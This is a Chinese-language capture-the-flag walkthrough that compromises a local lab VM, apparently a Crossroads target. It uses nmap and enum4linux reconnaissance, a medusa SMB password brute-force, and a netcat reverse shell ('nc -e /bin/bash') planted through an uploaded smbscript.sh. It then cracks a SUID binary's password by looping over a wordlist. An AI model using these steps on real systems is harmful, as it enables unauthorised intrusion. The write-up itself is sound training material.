靶场搭建
靶场下载地址
建议使用VirtualBox打开,如果打开虚拟机一直卡住并出现not syncing:Attempted to kill the idle task提示,关闭虚拟机在设置中将处理器修改为2。
信息收集
主机发现
kali攻击机ip为192.168.56.104,扫描同网段存活主机。
nmap 192.168.56.0/24 -Pn -T4
确认目标主机ip为192.168.56.106。
靶机全面扫描
nmap 192.168.56.106 -A -T4
开放了80,139,445端口。smb服务,有共享文件夹。
网站指纹,目录扫描
常规流程。
whatweb http://192.168.56.106
dirb http://192.168.56.106
访问robots.txt,提示存在一个路径。
访问/crossroads.png。
一张图片,除此之外该网站没有其他信息了,那么这张图片一定有东西,参考CTF的图片隐写,信息可能存在于图片属性或使用隐写工具隐藏到图片中。先将图片保存。
smb爆破
enum4linux是kali上用于枚举Windows和Linux系统上SMB共享的工具,可以找出目标主机的所有者和共享信息。这里想通过445端口的smb服务渗透。
首先smb是什么,smb是文件共享协议,能够实现同一局域网下计算机间共享文件、打印机、串口等。
enum4linux 192.168.56.106
# 列出用户
enum4linux -u 192.168.56.106
枚举得出一个用户albert。
并且共享文件夹名是smbshare。
枚举出用户名后,爆破密码。
# hydra不推荐,很慢(我实验结果是同样的字典却爆不出密码)
hydra -l albert -P 字典 192.168.56.106 smb
# medusa -u 用户名 -P 密码 -M 指定模块 -h 地址
medusa -u albert -P /usr/share/wordlist/rockyou.txt -M smbnt -h 192.168.56.106
得到密码:bradley1,连接到目标主机上的共享资源。smbclient是一个在Unix/Linux系统中的一个应用程序,它允许用户以类似于
ftp
的方式访问Windows系统上的共享资源。它是Samba软件套件的一部分,可以让Linux系统与Windows系统进行网络共享。
# 指定用户名和密码连接samba服务器
smbclient //[server]/[share-file] -U [user]
smbclient //192.168.56.106/share -U albert
成功连接到目标主机的共享资源。看看共享文件夹下有什么线索。
将smb.conf(smb配置文件)下载。
get smb.conf
下载后cat查看,一行行看代码发现缺了东西,如图这个smbscript.sh会被调用但是共享文件夹中没有这个文件。下一步就很清晰了,缺那我们就上传,既然能上传且会被调用直接上传一个反弹shell进去供他调用。
反弹shell
smbscript.sh内容可控,且会被靶机调用,写一个反弹shell到smbscript.sh中试试。
# smbscript.sh
nc -e /bin/bash 192.168.56.104 2333
# 上传
put smbscript.sh
# 攻击机监听
nc -lvvp 2333
上传反弹shell后等待监听上线即可。
返回一个方便看的shell。
python3 -c 'import pty as pt;pt.spawn("/bin/bash")'
找到第一个flag。
/home/albert目录下还存在一个crossroads.png图片和beroot文件。图片看名字应该和网站中/crossroads.png一致,两个相同名字的图片下载到本机看下区别。再看看beroot,是乱码。
/home/albert目录下开启http服务。
python3 -m http.server
攻击机下载。(注意端口为8000)
图片肉眼看上去是一样的,看下大小是否一致验证图片隐写的猜想。
两张图片的大小不一致,第二张图片中有内容。看大佬们说用stegoveritas。(zsteg或者其他图片隐写工具搞不出来)
stegoveritas crossroads-2.png
执行完成后结果会保存在当前目录下的results文件夹中。在keepers文件夹下存在一个text文件(file命令辨识文件类型)。
看内容是个字典,后面有用。将这个字典重命名为pwd.txt。
提权
sudo提权不行,suid试试。
find / -perm -u=s -type f 2>/dev/null
beroot熟悉吗,运行一下。
需要密码,刚刚图片隐写弄出来的字典就有用了。把字典上传到靶机。
用for循环带着字典爆破./beroot。
for i in $(cat pwd.txt);do echo $i | ./beroot; echo $i;done | grep -v wrong
命令跑完后出现一个rootcreds文件。内容如下:
root
___drifting___
登录root用户。
get flag2! 🎆
版权归原作者 Aukum 所有, 如有侵权,请联系我们删除。